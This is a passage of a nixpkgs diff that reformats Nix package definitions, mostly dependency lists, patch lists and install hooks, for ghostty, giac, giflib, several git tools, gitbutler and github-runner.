-    # error: install_name_tool: changing install names or rpaths can't be redone for: [...]libgs.dylib.10 (the program must be relinked, and you may need to use -headerpad or -headerpad_max_install_names)
-    ++ lib.optional (x11Support && stdenv.hostPlatform.isDarwin) "LDFLAGS=-headerpad_max_install_names";
+  buildFlags = [
+    "so"
+  ]
+  # without -headerpad, the following error occurs on Darwin when compiling with X11 support (as of 10.02.0)
+  # error: install_name_tool: changing install names or rpaths can't be redone for: [...]libgs.dylib.10 (the program must be relinked, and you may need to use -headerpad or -headerpad_max_install_names)
+  ++ lib.optional (x11Support && stdenv.hostPlatform.isDarwin) "LDFLAGS=-headerpad_max_install_names";
   installTargets = [ "soinstall" ];
 
   postInstall = ''
diff --git a/pkgs/by-name/gh/ghostty/package.nix b/pkgs/by-name/gh/ghostty/package.nix
index da7bb441965f..c794bf16ee2e 100644
--- a/pkgs/by-name/gh/ghostty/package.nix
+++ b/pkgs/by-name/gh/ghostty/package.nix
@@ -65,48 +65,45 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      ncurses
-      pandoc
-      pkg-config
-      removeReferencesTo
-      zig_hook
-    ]
-    ++ lib.optionals (appRuntime == "gtk") [
-      glib # Required for `glib-compile-schemas`
-      wrapGAppsHook4
-    ];
+  nativeBuildInputs = [
+    ncurses
+    pandoc
+    pkg-config
+    removeReferencesTo
+    zig_hook
+  ]
+  ++ lib.optionals (appRuntime == "gtk") [
+    glib # Required for `glib-compile-schemas`
+    wrapGAppsHook4
+  ];
 
-  buildInputs =
-    [
-      glslang
-      oniguruma
-    ]
-    ++ lib.optional (appRuntime == "gtk" && withAdwaita) libadwaita
-    ++ lib.optional (appRuntime == "gtk") libX11
-    ++ lib.optional (renderer == "opengl") libGL
-    ++ lib.optionals (fontBackend == "fontconfig_freetype") [
-      bzip2
-      fontconfig
-      freetype
-      harfbuzz
-    ];
+  buildInputs = [
+    glslang
+    oniguruma
+  ]
+  ++ lib.optional (appRuntime == "gtk" && withAdwaita) libadwaita
+  ++ lib.optional (appRuntime == "gtk") libX11
+  ++ lib.optional (renderer == "opengl") libGL
+  ++ lib.optionals (fontBackend == "fontconfig_freetype") [
+    bzip2
+    fontconfig
+    freetype
+    harfbuzz
+  ];
 
-  zigBuildFlags =
-    [
-      "--system"
-      "${finalAttrs.deps}"
-      "-Dversion-string=${finalAttrs.version}"
+  zigBuildFlags = [
+    "--system"
+    "${finalAttrs.deps}"
+    "-Dversion-string=${finalAttrs.version}"
 
-      "-Dapp-runtime=${appRuntime}"
-      "-Dfont-backend=${fontBackend}"
-      "-Dgtk-adwaita=${lib.boolToString withAdwaita}"
-      "-Drenderer=${renderer}"
-    ]
-    ++ lib.mapAttrsToList (name: package: "-fsys=${name} --search-prefix ${lib.getLib package}") {
-      inherit glslang;
-    };
+    "-Dapp-runtime=${appRuntime}"
+    "-Dfont-backend=${fontBackend}"
+    "-Dgtk-adwaita=${lib.boolToString withAdwaita}"
+    "-Drenderer=${renderer}"
+  ]
+  ++ lib.mapAttrsToList (name: package: "-fsys=${name} --search-prefix ${lib.getLib package}") {
+    inherit glslang;
+  };
 
   zigCheckFlags = finalAttrs.zigBuildFlags;
 
diff --git a/pkgs/by-name/gi/giac/package.nix b/pkgs/by-name/gi/giac/package.nix
index cf218da403a0..410cae74a7e2 100644
--- a/pkgs/by-name/gi/giac/package.nix
+++ b/pkgs/by-name/gi/giac/package.nix
@@ -45,50 +45,49 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-pqytFWrSWfEwQqRdRbaigGCq68s8mdgj2j8M+kclslE=";
   };
 
-  patches =
-    [
-      ./remove-old-functional-patterns.patch
-      ./fix-fltk-guard.patch
+  patches = [
+    ./remove-old-functional-patterns.patch
+    ./fix-fltk-guard.patch
 
-      (fetchpatch {
-        name = "pari_2_15.patch";
-        url = "https://raw.githubusercontent.com/sagemath/sage/07a2afd65fb4b0a1c9cbc43ede7d4a18c921a000/build/pkgs/giac/patches/pari_2_15.patch";
-        sha256 = "sha256-Q3xBFED7XEAyNz6AHjzt63XtospmdGAIdS6iPq1C2UE=";
-      })
+    (fetchpatch {
+      name = "pari_2_15.patch";
+      url = "https://raw.githubusercontent.com/sagemath/sage/07a2afd65fb4b0a1c9cbc43ede7d4a18c921a000/build/pkgs/giac/patches/pari_2_15.patch";
+      sha256 = "sha256-Q3xBFED7XEAyNz6AHjzt63XtospmdGAIdS6iPq1C2UE=";
+    })
 
-      (fetchpatch {
-        name = "infinity.patch";
-        url = "https://github.com/geogebra/giac/commit/851c2cd91e879c79d6652f8a5d5bed03b65c6d39.patch";
-        sha256 = "sha256-WJRT2b8I9kgAkRuIugMiXoF4hT7yR7qyad8A6IspNTM=";
-        stripLen = 5;
-        extraPrefix = "/src/";
-        excludes = [ "src/kdisplay.cc" ];
-      })
+    (fetchpatch {
+      name = "infinity.patch";
+      url = "https://github.com/geogebra/giac/commit/851c2cd91e879c79d6652f8a5d5bed03b65c6d39.patch";
+      sha256 = "sha256-WJRT2b8I9kgAkRuIugMiXoF4hT7yR7qyad8A6IspNTM=";
+      stripLen = 5;
+      extraPrefix = "/src/";
+      excludes = [ "src/kdisplay.cc" ];
+    })
 
-      # giac calls scanf/printf with non-constant first arguments, which
-      # the compiler rightfully warns about (with an error nowadays).
-      (fetchpatch {
-        name = "fix-string-compiler-error.patch";
-        url = "https://salsa.debian.org/science-team/giac/-/raw/9ca8dbf4bb16d9d96948aa4024326d32485d7917/debian/patches/fix-string-compiler-error.patch";
-        sha256 = "sha256-r+M+9MRPRqhHcdhYWI6inxyNvWbXUbBcPCeDY7aulvk=";
-      })
+    # giac calls scanf/printf with non-constant first arguments, which
+    # the compiler rightfully warns about (with an error nowadays).
+    (fetchpatch {
+      name = "fix-string-compiler-error.patch";
+      url = "https://salsa.debian.org/science-team/giac/-/raw/9ca8dbf4bb16d9d96948aa4024326d32485d7917/debian/patches/fix-string-compiler-error.patch";
+      sha256 = "sha256-r+M+9MRPRqhHcdhYWI6inxyNvWbXUbBcPCeDY7aulvk=";
+    })
 
-      # issue with include path precedence
-      (fetchpatch {
-        name = "fix_implicit_declaration.patch";
-        url = "https://salsa.debian.org/science-team/giac/-/raw/c05ae9b9e74d3c6ee6411d391071989426a76201/debian/patches/fix_implicit_declaration.patch";
-        sha256 = "sha256-ompUceYJLiL0ftfjBkIMcYvX1YqG2/XA7e1yDyFY0IY=";
-      })
-    ]
-    ++ lib.optionals (!enableGUI) [
-      # when enableGui is false, giac is compiled without fltk. That
-      # means some outputs differ in the make check. Patch around this:
-      (fetchpatch {
-        name = "nofltk-check.patch";
-        url = "https://raw.githubusercontent.com/sagemath/sage/7553a3c8dfa7bcec07241a07e6a4e7dcf5bb4f26/build/pkgs/giac/patches/nofltk-check.patch";
-        sha256 = "sha256-nAl5q3ufLjK3X9s0qMlGNowdRRf3EaC24eVtJABzdXY=";
-      })
-    ];
+    # issue with include path precedence
+    (fetchpatch {
+      name = "fix_implicit_declaration.patch";
+      url = "https://salsa.debian.org/science-team/giac/-/raw/c05ae9b9e74d3c6ee6411d391071989426a76201/debian/patches/fix_implicit_declaration.patch";
+      sha256 = "sha256-ompUceYJLiL0ftfjBkIMcYvX1YqG2/XA7e1yDyFY0IY=";
+    })
+  ]
+  ++ lib.optionals (!enableGUI) [
+    # when enableGui is false, giac is compiled without fltk. That
+    # means some outputs differ in the make check. Patch around this:
+    (fetchpatch {
+      name = "nofltk-check.patch";
+      url = "https://raw.githubusercontent.com/sagemath/sage/7553a3c8dfa7bcec07241a07e6a4e7dcf5bb4f26/build/pkgs/giac/patches/nofltk-check.patch";
+      sha256 = "sha256-nAl5q3ufLjK3X9s0qMlGNowdRRf3EaC24eVtJABzdXY=";
+    })
+  ];
 
   # 1.9.0-5's tarball contains a binary (src/mkjs) which is executed
   # at build time. we will delete and rebuild it.
@@ -114,36 +113,35 @@ stdenv.mkDerivation rec {
   ];
 
   # perl is only needed for patchShebangs fixup.
-  buildInputs =
-    [
-      gmp
-      mpfr
-      pari
-      ntl
-      gsl
-      blas
-      mpfi
-      glpk
-      nauty
-      readline
-      gettext
-      libpng
-      libao
-      perl
-      ecm
-      # gfortran.cc default output contains static libraries compiled without -fPIC
-      # we want libgfortran.so.3 instead
-      (lib.getLib gfortran.cc)
-      lapack
-      blas
-    ]
-    ++ lib.optionals enableGUI [
-      libGL
-      libGLU
-      fltk
-      xorg.libX11
-    ]
-    ++ lib.optional enableMicroPy python3;
+  buildInputs = [
+    gmp
+    mpfr
+    pari
+    ntl
+    gsl
+    blas
+    mpfi
+    glpk
+    nauty
+    readline
+    gettext
+    libpng
+    libao
+    perl
+    ecm
+    # gfortran.cc default output contains static libraries compiled without -fPIC
+    # we want libgfortran.so.3 instead
+    (lib.getLib gfortran.cc)
+    lapack
+    blas
+  ]
+  ++ lib.optionals enableGUI [
+    libGL
+    libGLU
+    fltk
+    xorg.libX11
+  ]
+  ++ lib.optional enableMicroPy python3;
 
   # xcas Phys and Turtle menus are broken with split outputs
   # and interactive use is likely to need docs
@@ -168,58 +166,56 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--enable-gc"
-      "--enable-png"
-      "--enable-gsl"
-      "--enable-lapack"
-      "--enable-pari"
-      "--enable-ntl"
-      "--enable-gmpxx" # "--enable-cocoa"
-      "--enable-ao"
-      "--enable-ecm"
-      "--enable-glpk"
-    ]
-    ++ lib.optionals enableGUI [
-      "--enable-gui"
-      "--with-x"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--disable-nls"
-    ]
-    ++ lib.optionals (!enableGUI) [
-      "--disable-fltk"
-    ]
-    ++ lib.optionals (!enableMicroPy) [
-      "--disable-micropy"
-    ];
+  configureFlags = [
+    "--enable-gc"
+    "--enable-png"
+    "--enable-gsl"
+    "--enable-lapack"
+    "--enable-pari"
+    "--enable-ntl"
+    "--enable-gmpxx" # "--enable-cocoa"
+    "--enable-ao"
+    "--enable-ecm"
+    "--enable-glpk"
+  ]
+  ++ lib.optionals enableGUI [
+    "--enable-gui"
+    "--with-x"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--disable-nls"
+  ]
+  ++ lib.optionals (!enableGUI) [
+    "--disable-fltk"
+  ]
+  ++ lib.optionals (!enableMicroPy) [
+    "--disable-micropy"
+  ];
 
-  postInstall =
-    ''
-      # example Makefiles contain the full path to some commands
-      # notably texlive, and we don't want texlive to become a runtime
-      # dependency
-      for file in $(find $out -name Makefile) ; do
-        sed -i "s@${builtins.storeDir}/[^/]*/bin/@@" "$file" ;
-      done;
+  postInstall = ''
+    # example Makefiles contain the full path to some commands
+    # notably texlive, and we don't want texlive to become a runtime
+    # dependency
+    for file in $(find $out -name Makefile) ; do
+      sed -i "s@${builtins.storeDir}/[^/]*/bin/@@" "$file" ;
+    done;
 
-      # reference cycle
-      rm "$out/share/giac/doc/el/"{casinter,tutoriel}/Makefile
+    # reference cycle
+    rm "$out/share/giac/doc/el/"{casinter,tutoriel}/Makefile
 
-      if [ -n "$doc" ]; then
-        mkdir -p "$doc/share/giac"
-        # $out/share/giac/doc/aide_cas is a symlink to ../aide_cas
-        mv "$out/share/giac/doc" "$doc/share/giac"
-        ln -sf "$out/share/giac/aide_cas" "$doc/share/giac/doc/aide_cas"
-        mv "$out/share/giac/examples" "$doc/share/giac"
-      fi
-    ''
-    + lib.optionalString (!enableGUI) ''
-      for i in pixmaps application-registry applications icons; do
-        rm -r "$out/share/$i";
-      done;
-    '';
+    if [ -n "$doc" ]; then
+      mkdir -p "$doc/share/giac"
+      # $out/share/giac/doc/aide_cas is a symlink to ../aide_cas
+      mv "$out/share/giac/doc" "$doc/share/giac"
+      ln -sf "$out/share/giac/aide_cas" "$doc/share/giac/doc/aide_cas"
+      mv "$out/share/giac/examples" "$doc/share/giac"
+    fi
+  ''
+  + lib.optionalString (!enableGUI) ''
+    for i in pixmaps application-registry applications icons; do
+      rm -r "$out/share/$i";
+    done;
+  '';
 
   meta = with lib; {
     description = "Free computer algebra system (CAS)";
diff --git a/pkgs/by-name/gi/giada/package.nix b/pkgs/by-name/gi/giada/package.nix
index fc875f7685dc..0180ba03c6e5 100644
--- a/pkgs/by-name/gi/giada/package.nix
+++ b/pkgs/by-name/gi/giada/package.nix
@@ -49,28 +49,27 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      rtmidi
-      fltk
-      fmt
-      libmpg123
-      libsndfile
-      libsamplerate
-      nlohmann_json
-      alsa-lib
-      libXpm
-      libpulseaudio
-      jack2
-      flac
-      libogg
-      libvorbis
-      libopus
-      libXrandr
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux || stdenv.hostPlatform.isFreeBSD) [
-      fontconfig
-    ];
+  buildInputs = [
+    rtmidi
+    fltk
+    fmt
+    libmpg123
+    libsndfile
+    libsamplerate
+    nlohmann_json
+    alsa-lib
+    libXpm
+    libpulseaudio
+    jack2
+    flac
+    libogg
+    libvorbis
+    libopus
+    libXrandr
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux || stdenv.hostPlatform.isFreeBSD) [
+    fontconfig
+  ];
 
   meta = {
     description = "Free, minimal, hardcore audio tool for DJs, live performers and electronic musicians";
diff --git a/pkgs/by-name/gi/giflib/package.nix b/pkgs/by-name/gi/giflib/package.nix
index b1c4a62a2ee4..bf6a84007ab8 100644
--- a/pkgs/by-name/gi/giflib/package.nix
+++ b/pkgs/by-name/gi/giflib/package.nix
@@ -15,21 +15,20 @@ stdenv.mkDerivation rec {
     hash = "sha256-vn/70FfK3r4qoURUL9kMaDjGoIO16KkEi47jtmsp1fs=";
   };
 
-  patches =
-    [
-      ./CVE-2021-40633.patch
-      ./CVE-2025-31344.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMinGW [
-      # Build dll libraries.
-      (fetchurl {
-        url = "https://aur.archlinux.org/cgit/aur.git/plain/001-mingw-build.patch?h=mingw-w64-giflib&id=b7311edf54824ac797c7916cd3ddc3a4b2368a19";
-        hash = "sha256-bBx7lw7FWtxZJ+E9AAbKIpCGcJnS5lrGpjYcv/zBtKk=";
-      })
+  patches = [
+    ./CVE-2021-40633.patch
+    ./CVE-2025-31344.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMinGW [
+    # Build dll libraries.
+    (fetchurl {
+      url = "https://aur.archlinux.org/cgit/aur.git/plain/001-mingw-build.patch?h=mingw-w64-giflib&id=b7311edf54824ac797c7916cd3ddc3a4b2368a19";
+      hash = "sha256-bBx7lw7FWtxZJ+E9AAbKIpCGcJnS5lrGpjYcv/zBtKk=";
+    })
 
-      # Install executables.
-      ./mingw-install-exes.patch
-    ];
+    # Install executables.
+    ./mingw-install-exes.patch
+  ];
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isDarwin [
     fixDarwinDylibNames
@@ -39,20 +38,19 @@ stdenv.mkDerivation rec {
     "PREFIX=${builtins.placeholder "out"}"
   ];
 
-  postPatch =
-    ''
-      # we don't want to build HTML documentation
-      substituteInPlace doc/Makefile \
-        --replace-fail "all: allhtml manpages" "all: manpages"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isStatic ''
-      # Upstream build system does not support NOT building shared libraries.
-      sed -i '/all:/ s/$(LIBGIFSO)//' Makefile
-      sed -i '/all:/ s/$(LIBUTILSO)//' Makefile
-      sed -i '/-m 755 $(LIBGIFSO)/ d' Makefile
-      sed -i '/ln -sf $(LIBGIFSOVER)/ d' Makefile
-      sed -i '/ln -sf $(LIBGIFSOMAJOR)/ d' Makefile
-    '';
+  postPatch = ''
+    # we don't want to build HTML documentation
+    substituteInPlace doc/Makefile \
+      --replace-fail "all: allhtml manpages" "all: manpages"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isStatic ''
+    # Upstream build system does not support NOT building shared libraries.
+    sed -i '/all:/ s/$(LIBGIFSO)//' Makefile
+    sed -i '/all:/ s/$(LIBUTILSO)//' Makefile
+    sed -i '/-m 755 $(LIBGIFSO)/ d' Makefile
+    sed -i '/ln -sf $(LIBGIFSOVER)/ d' Makefile
+    sed -i '/ln -sf $(LIBGIFSOMAJOR)/ d' Makefile
+  '';
 
   passthru.tests = {
     static = pkgsStatic.giflib;
diff --git a/pkgs/by-name/gi/gigalixir/package.nix b/pkgs/by-name/gi/gigalixir/package.nix
index cd3106eeeb02..0eeb82e6d10f 100644
--- a/pkgs/by-name/gi/gigalixir/package.nix
+++ b/pkgs/by-name/gi/gigalixir/package.nix
@@ -32,15 +32,14 @@ python3.pkgs.buildPythonApplication rec {
     stripe
   ];
 
-  nativeCheckInputs =
-    [
-      git
-    ]
-    ++ (with python3.pkgs; [
-      httpretty
-      pytestCheckHook
-      sure
-    ]);
+  nativeCheckInputs = [
+    git
+  ]
+  ++ (with python3.pkgs; [
+    httpretty
+    pytestCheckHook
+    sure
+  ]);
 
   disabledTests = [
     # Test requires network access
diff --git a/pkgs/by-name/gi/gildas/package.nix b/pkgs/by-name/gi/gildas/package.nix
index 5ee4ed7fc8b4..36bcabb49834 100644
--- a/pkgs/by-name/gi/gildas/package.nix
+++ b/pkgs/by-name/gi/gildas/package.nix
@@ -54,12 +54,13 @@ stdenv.mkDerivation rec {
     ncurses
   ];
 
-  patches =
-    [ ./wrapper.patch ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      ./clang.patch
-      ./cpp-darwin.patch
-    ];
+  patches = [
+    ./wrapper.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    ./clang.patch
+    ./cpp-darwin.patch
+  ];
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-unused-command-line-argument";
 
diff --git a/pkgs/by-name/gi/git-absorb/package.nix b/pkgs/by-name/gi/git-absorb/package.nix
index 344a043c28c3..7be09648f66c 100644
--- a/pkgs/by-name/gi/git-absorb/package.nix
+++ b/pkgs/by-name/gi/git-absorb/package.nix
@@ -33,19 +33,18 @@ rustPlatform.buildRustPackage rec {
     gitMinimal
   ];
 
-  postInstall =
-    ''
-      cd Documentation/
-      make
-      installManPage git-absorb.1
-      cd -
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd git-absorb \
-        --bash <($out/bin/git-absorb --gen-completions bash) \
-        --fish <($out/bin/git-absorb --gen-completions fish) \
-        --zsh <($out/bin/git-absorb --gen-completions zsh)
-    '';
+  postInstall = ''
+    cd Documentation/
+    make
+    installManPage git-absorb.1
+    cd -
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd git-absorb \
+      --bash <($out/bin/git-absorb --gen-completions bash) \
+      --fish <($out/bin/git-absorb --gen-completions fish) \
+      --zsh <($out/bin/git-absorb --gen-completions zsh)
+  '';
 
   meta = with lib; {
     homepage = "https://github.com/tummychow/git-absorb";
diff --git a/pkgs/by-name/gi/git-cola/package.nix b/pkgs/by-name/gi/git-cola/package.nix
index ee9ef77c5dc2..6a7d5ee4ae83 100644
--- a/pkgs/by-name/gi/git-cola/package.nix
+++ b/pkgs/by-name/gi/git-cola/package.nix
@@ -24,15 +24,16 @@ python3Packages.buildPythonApplication rec {
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [ qt5.qtwayland ];
 
-  propagatedBuildInputs =
-    [ git ]
-    ++ (with python3Packages; [
-      setuptools
-      pyqt5
-      qtpy
-      send2trash
-      polib
-    ]);
+  propagatedBuildInputs = [
+    git
+  ]
+  ++ (with python3Packages; [
+    setuptools
+    pyqt5
+    qtpy
+    send2trash
+    polib
+  ]);
 
   nativeBuildInputs = [
     gettext
@@ -51,7 +52,8 @@ python3Packages.buildPythonApplication rec {
   disabledTestPaths = [
     "qtpy/"
     "contrib/win32"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "cola/inotify.py" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "cola/inotify.py" ];
 
   preFixup = ''
     makeWrapperArgs+=("''${qtWrapperArgs[@]}")
diff --git a/pkgs/by-name/gi/git-lfs/package.nix b/pkgs/by-name/gi/git-lfs/package.nix
index 42d7b2b17abc..b73a41617b04 100644
--- a/pkgs/by-name/gi/git-lfs/package.nix
+++ b/pkgs/by-name/gi/git-lfs/package.nix
@@ -81,16 +81,15 @@ buildGoModule rec {
     [ "-skip=^${builtins.concatStringsSep "$|^" skippedTests}$" ]
   );
 
-  postInstall =
-    ''
-      installManPage man/man*/*
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd git-lfs \
-        --bash <($out/bin/git-lfs completion bash) \
-        --fish <($out/bin/git-lfs completion fish) \
-        --zsh <($out/bin/git-lfs completion zsh)
-    '';
+  postInstall = ''
+    installManPage man/man*/*
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd git-lfs \
+      --bash <($out/bin/git-lfs completion bash) \
+      --fish <($out/bin/git-lfs completion fish) \
+      --zsh <($out/bin/git-lfs completion zsh)
+  '';
 
   nativeInstallCheckInputs = [
     versionCheckHook
diff --git a/pkgs/by-name/gi/git-quickfix/package.nix b/pkgs/by-name/gi/git-quickfix/package.nix
index 3649ffb7d400..fea3fe9716cd 100644
--- a/pkgs/by-name/gi/git-quickfix/package.nix
+++ b/pkgs/by-name/gi/git-quickfix/package.nix
@@ -23,12 +23,13 @@ rustPlatform.buildRustPackage rec {
   doCheck = false;
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-      zlib
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+    zlib
+  ];
 
   useFetchCargoVendor = true;
   cargoHash = "sha256-2VhbvhGeQHAbQLW0iBAgl0ICAX/X+PnwcGdodJG2Hsw=";
diff --git a/pkgs/by-name/gi/git-remote-codecommit/package.nix b/pkgs/by-name/gi/git-remote-codecommit/package.nix
index 210607e6f151..0a4b50fcd8e9 100644
--- a/pkgs/by-name/gi/git-remote-codecommit/package.nix
+++ b/pkgs/by-name/gi/git-remote-codecommit/package.nix
@@ -26,16 +26,15 @@ python3Packages.buildPythonApplication rec {
 
   dependencies = with python3Packages; [ botocore ];
 
-  nativeCheckInputs =
-    [
-      awscli
-    ]
-    ++ (with python3Packages; [
-      pytestCheckHook
-      mock
-      flake8
-      tox
-    ]);
+  nativeCheckInputs = [
+    awscli
+  ]
+  ++ (with python3Packages; [
+    pytestCheckHook
+    mock
+    flake8
+    tox
+  ]);
 
   meta = {
     description = "Git remote prefix to simplify pushing to and pulling from CodeCommit";
diff --git a/pkgs/by-name/gi/git-series/package.nix b/pkgs/by-name/gi/git-series/package.nix
index 3eb3b357a559..c5bf21efe8c1 100644
--- a/pkgs/by-name/gi/git-series/package.nix
+++ b/pkgs/by-name/gi/git-series/package.nix
@@ -29,14 +29,16 @@ rustPlatform.buildRustPackage {
   nativeBuildInputs = [
     pkg-config
     installShellFiles
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ curl ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ curl ];
 
   buildInputs = [
     libgit2
     libssh2
     openssl
     zlib
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ curl ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ curl ];
 
   env = {
     LIBGIT2_SYS_USE_PKG_CONFIG = true;
diff --git a/pkgs/by-name/gi/gitbutler/package.nix b/pkgs/by-name/gi/gitbutler/package.nix
index ba50b5ef3b25..06db57d9c054 100644
--- a/pkgs/by-name/gi/gitbutler/package.nix
+++ b/pkgs/by-name/gi/gitbutler/package.nix
@@ -81,18 +81,18 @@ rustPlatform.buildRustPackage rec {
     turbo
     wrapGAppsHook4
     yq # For `tomlq`
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin makeBinaryWrapper;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin makeBinaryWrapper;
 
-  buildInputs =
-    [
-      libgit2
-      openssl
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin curl
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      glib-networking
-      webkitgtk_4_1
-    ];
+  buildInputs = [
+    libgit2
+    openssl
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin curl
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    glib-networking
+    webkitgtk_4_1
+  ];
 
   tauriBuildFlags = [
     "--config"
@@ -103,24 +103,23 @@ rustPlatform.buildRustPackage rec {
 
   # `gitbutler-git`'s checks do not support release mode
   checkType = "debug";
-  cargoTestFlags =
-    [
-      "--workspace"
-    ]
-    ++ lib.concatMap excludeSpec [
-      # Requires Git directories
-      "but-core"
-      "but-rebase"
-      "but-workspace"
-      # Fails due to the issues above and below
-      "but-hunk-dependency"
-      # Errors with "Lazy instance has previously been poisoned"
-      "gitbutler-branch-actions"
-      "gitbutler-stack"
-      # `Expecting driver to be located at "../../target/debug/gitbutler-cli" - we also assume a certain crate location`
-      # We're not (usually) building in debug mode and always have a different target directory, so...
-      "gitbutler-edit-mode"
-    ];
+  cargoTestFlags = [
+    "--workspace"
+  ]
+  ++ lib.concatMap excludeSpec [
+    # Requires Git directories
+    "but-core"
+    "but-rebase"
+    "but-workspace"
+    # Fails due to the issues above and below
+    "but-hunk-dependency"
+    # Errors with "Lazy instance has previously been poisoned"
+    "gitbutler-branch-actions"
+    "gitbutler-stack"
+    # `Expecting driver to be located at "../../target/debug/gitbutler-cli" - we also assume a certain crate location`
+    # We're not (usually) building in debug mode and always have a different target directory, so...
+    "gitbutler-edit-mode"
+  ];
 
   env = {
     # Make sure `crates/gitbutler-tauri/inject-git-binaries.sh` can find our
diff --git a/pkgs/by-name/gi/github-runner/package.nix b/pkgs/by-name/gi/github-runner/package.nix
index 5ff33b4f73b0..fdafacc3fcad 100644
--- a/pkgs/by-name/gi/github-runner/package.nix
+++ b/pkgs/by-name/gi/github-runner/package.nix
@@ -109,16 +109,15 @@ buildDotnetModule (finalAttrs: {
       src/dir.proj
   '';
 
-  nativeBuildInputs =
-    [
-      which
-      gitMinimal
-      # needed for `uname`
-      coreutils
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      darwin.autoSignDarwinBinariesHook
-    ];
+  nativeBuildInputs = [
+    which
+    gitMinimal
+    # needed for `uname`
+    coreutils
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    darwin.autoSignDarwinBinariesHook
+  ];
 
   buildInputs = [
     (lib.getLib stdenv.cc.cc)
@@ -149,152 +148,149 @@ buildDotnetModule (finalAttrs: {
   __darwinAllowLocalNetworking = true;
 
   # Fully qualified name of disabled tests
-  disabledTests =
-    [
-      "GitHub.Runner.Common.Tests.Listener.SelfUpdaterL0.TestSelfUpdateAsync"
-      "GitHub.Runner.Common.Tests.ProcessInvokerL0.OomScoreAdjIsInherited"
-    ]
-    ++ map (x: "GitHub.Runner.Common.Tests.Listener.SelfUpdaterL0.TestSelfUpdateAsync_${x}") [
-      "Cancel_CloneHashTask_WhenNotNeeded"
-      "CloneHash_RuntimeAndExternals"
-      "DownloadRetry"
-      "FallbackToFullPackage"
-      "NoUpdateOnOldVersion"
-      "NotUseExternalsRuntimeTrimmedPackageOnHashMismatch"
-      "UseExternalsRuntimeTrimmedPackage"
-      "UseExternalsTrimmedPackage"
-      "ValidateHash"
-    ]
-    ++ map (x: "GitHub.Runner.Common.Tests.Listener.SelfUpdaterV2L0.${x}") [
-      "TestSelfUpdateAsync_DownloadRetry"
-      "TestSelfUpdateAsync_ValidateHash"
-      "TestSelfUpdateAsync"
-    ]
-    ++ map (x: "GitHub.Runner.Common.Tests.Worker.ActionManagerL0.PrepareActions_${x}") [
-      "CompositeActionWithActionfile_CompositeContainerNested"
-      "CompositeActionWithActionfile_CompositePrestepNested"
-      "CompositeActionWithActionfile_MaxLimit"
-      "CompositeActionWithActionfile_Node"
-      "DownloadActionFromGraph"
-      "NotPullOrBuildImagesMultipleTimes"
-      "RepositoryActionWithActionYamlFile_DockerHubImage"
-      "RepositoryActionWithActionfileAndDockerfile"
-      "RepositoryActionWithActionfile_DockerHubImage"
-      "RepositoryActionWithActionfile_Dockerfile"
-      "RepositoryActionWithActionfile_DockerfileRelativePath"
-      "RepositoryActionWithActionfile_Node"
-      "RepositoryActionWithDockerfile"
-      "RepositoryActionWithDockerfileInRelativePath"
-      "RepositoryActionWithDockerfilePrepareActions_Repository"
-      "RepositoryActionWithInvalidWrapperActionfile_Node"
-      "RepositoryActionWithWrapperActionfile_PreSteps"
-    ]
-    ++ map (x: "GitHub.Runner.Common.Tests.DotnetsdkDownloadScriptL0.${x}") [
-      "EnsureDotnetsdkBashDownloadScriptUpToDate"
-      "EnsureDotnetsdkPowershellDownloadScriptUpToDate"
-    ]
-    ++ [ "GitHub.Runner.Common.Tests.Listener.RunnerL0.TestRunOnceHandleUpdateMessage" ]
-    # Tests for trimmed runner packages which aim at reducing the update size. Not relevant for Nix.
-    ++ map (x: "GitHub.Runner.Common.Tests.PackagesTrimL0.${x}") [
-      "RunnerLayoutParts_CheckExternalsHash"
-      "RunnerLayoutParts_CheckDotnetRuntimeHash"
-    ]
-    # Strictly require a Debug configuration to work
-    ++ [
-      # https://github.com/actions/runner/blob/da3412e/src/Runner.Common/HostContext.cs#L260-L266
